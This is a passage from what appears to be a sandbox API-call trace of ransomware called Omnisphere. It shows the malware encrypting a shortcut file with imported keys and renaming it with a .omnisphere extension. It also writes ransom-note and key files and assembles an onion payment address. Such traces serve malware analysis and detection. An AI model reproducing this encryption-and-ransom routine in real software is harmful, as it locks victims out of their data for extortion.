returned 0x16d4340 [0126.372] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.372] WriteFile (in: hFile=0x28c, lpBuffer=0x16d4340*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16d4340*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.372] CloseHandle (hObject=0x28c) returned 1 [0126.372] GetProcessHeap () returned 0x1600000 [0126.372] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0126.372] GetProcessHeap () returned 0x1600000 [0126.372] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e578 [0126.372] PathCombineW (in: pszDest=0x162e578, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.372] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.372] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.372] CloseHandle (hObject=0x28c) returned 1 [0126.372] GetProcessHeap () returned 0x1600000 [0126.372] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e578 | out: hHeap=0x1600000) returned 1 [0126.373] GetProcessHeap () returned 0x1600000 [0126.373] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.373] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a7e0fc, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22a7e0fc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x22a7e0fc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x2ba, dwReserved0=0x0, dwReserved1=0xd3, cFileName="K8oacaU9AHJhRKiXfHlw.lnk", cAlternateFileName="K8OACA~1.LNK")) returned 1 [0126.373] GetProcessHeap () returned 0x1600000 [0126.373] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb2) returned 0x166ab78 [0126.373] PathCombineW (in: pszDest=0x166ab78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="K8oacaU9AHJhRKiXfHlw.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K8oacaU9AHJhRKiXfHlw.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K8oacaU9AHJhRKiXfHlw.lnk" [0126.373] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.373] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K8oacaU9AHJhRKiXfHlw.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\k8oacau9ahjhrkixfhlw.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.373] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=698) returned 1 [0126.373] GetTickCount () returned 0x115f895 [0126.373] GetTickCount () returned 0x115f895 [0126.373] GetTickCount () returned 0x115f895 [0126.373] GetTickCount () returned 0x115f8a5 [0126.373] GetTickCount () returned 0x115f8a5 [0126.373] GetTickCount () returned 0x115f8a5 [0126.373] GetTickCount () returned 0x115f8a5 [0126.373] GetTickCount () returned 0x115f8a5 [0126.373] GetTickCount () returned 0x115f8a5 [0126.373] GetTickCount () returned 0x115f8a5 [0126.373] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] GetTickCount () returned 0x115f8a5 [0126.374] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668928) returned 1 [0126.375] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.375] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.375] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.375] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0126.375] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ba, lpName=0x0) returned 0x288 [0126.375] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ba) returned 0x1480000 [0126.376] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16682c8) returned 1 [0126.376] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0126.376] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.376] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.376] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.376] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.376] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.376] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.376] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.376] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.376] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.376] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.376] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.377] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.378] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.378] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.378] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.378] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.378] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.378] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.378] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.378] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.378] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.378] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0126.378] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x2ba, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.378] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.378] GetProcessHeap () returned 0x1600000 [0126.378] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c2) returned 0x16cd020 [0126.378] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K8oacaU9AHJhRKiXfHlw.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\k8oacau9ahjhrkixfhlw.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K8oacaU9AHJhRKiXfHlw.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\k8oacau9ahjhrkixfhlw.lnk.omnisphere")) returned 1 [0126.379] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K8oacaU9AHJhRKiXfHlw.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K8oacaU9AHJhRKiXfHlw.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K8oacaU9AHJhRKiXfHlw.lnk.omnisphere.id" [0126.379] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K8oacaU9AHJhRKiXfHlw.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\k8oacau9ahjhrkixfhlw.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.379] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.380] CloseHandle (hObject=0x3c0) returned 1 [0126.380] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.380] CloseHandle (hObject=0x288) returned 1 [0126.380] SetEndOfFile (hFile=0x28c) returned 1 [0126.381] FlushFileBuffers (hFile=0x28c) returned 1 [0126.383] CloseHandle (hObject=0x28c) returned 1 [0126.383] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K8oacaU9AHJhRKiXfHlw.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.383] GetProcessHeap () returned 0x1600000 [0126.383] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16d7d58 [0126.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.383] GetProcessHeap () returned 0x1600000 [0126.383] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5870 [0126.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5870, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.383] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.384] GetProcessHeap () returned 0x1600000 [0126.384] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b02c8 [0126.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b02c8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.384] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.384] GetProcessHeap () returned 0x1600000 [0126.384] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bf020 [0126.384] PathCombineW (in: pszDest=0x16bf020, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.384] GetProcessHeap () returned 0x1600000 [0126.384] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16cf250 [0126.384] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.384] WriteFile (in: hFile=0x28c, lpBuffer=0x16cf250*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16cf250*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.384] CloseHandle (hObject=0x28c) returned 1 [0126.384] GetProcessHeap () returned 0x1600000 [0126.384] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16d7d58 | out: hHeap=0x1600000) returned 1 [0126.384] GetProcessHeap () returned 0x1600000 [0126.384] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.384] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.384] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.385] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.385] CloseHandle (hObject=0x28c) returned 1 [0126.385] GetProcessHeap () returned 0x1600000 [0126.385] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: 